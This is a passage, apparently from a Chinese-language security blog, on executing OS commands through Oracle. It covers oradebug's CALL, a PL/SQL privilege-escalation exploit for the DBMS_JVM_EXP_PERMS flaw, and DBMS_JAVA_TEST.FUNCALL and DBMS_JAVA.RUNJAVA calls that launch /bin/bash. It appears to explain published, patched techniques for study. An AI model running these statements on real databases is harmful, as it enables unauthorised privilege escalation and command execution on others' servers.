FFRESUMEINST Resume the flash frozen instance
FFSTATUS Flash freeze status of instance
SKDSTTPCS <ifname> <ofname> Helps translate PCs to names
WATCH <address> <len> <self|exist|all|target> Watch a region of memory
DELETE <local|global|target> watchpoint <id> Delete a watchpoint
SHOW <local|global|target> watchpoints Show watchpoints
DIRECT_ACCESS <set/enable/disable command | select query> Fixed table access
CORE Dump core without crashing process
IPC Dump ipc information
UNLIMIT Unlimit the size of the trace file
PROCSTAT Dump process statistics
CALL [-t count] <func> [arg1]...[argn] Invoke function with arguments

功能非常丰富, 下面我们用到的是 CALL 可以直接调用oracle进程使用的函数。

执行的语句

oradebug setmypid; oradebug call system "/usr/bin/whoami >/tmp/ret";

注意

  1. 这里权限要求是SYSDBA
  2. 双引号里必须是使用TAB而不能使用空格
  3. Linux 和 Windows 下的ORACLE都能利用成功

2. 黑客方法

下面用到的两个方法是David Litchfield 在Blackhat DC 2010 上公开两个方法,通过逆向
发现。结合DBMS_JVM_EXP_PERMS的漏洞可以直接执行系统命令(DBMS_JVM_EXP_PERMS 漏洞
已经被被修复)

1
2
3
4
5
6
7
8
9
10
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,'java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,'ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

在有漏洞的DBMS_JVM_EXP_PERMS package的Oracle上执行上述语句,有create session
权限的用户可以给自己授权所有java 权限。

2.1 DBMS_JAVA_TEST.FUNCALL

2.1.1 执行的语句

1
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual;

2.1.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.1.3 受影响系统

11g R1, 11g R2

2.2 DBMS_JAVA.RUNJAVA

2.2.1 执行的语句

1
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL;

2.2.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.2.3 受影响系统

10g R2, 11g R1, 11g R2

参考链接

  1. Using Java to run os command
  2. DBMS_SCHEDULER
  3. oradebug
  4. BlackHat-DC-2010-Litchfield-Oracle11g
  5. Hacking Oracle from the Web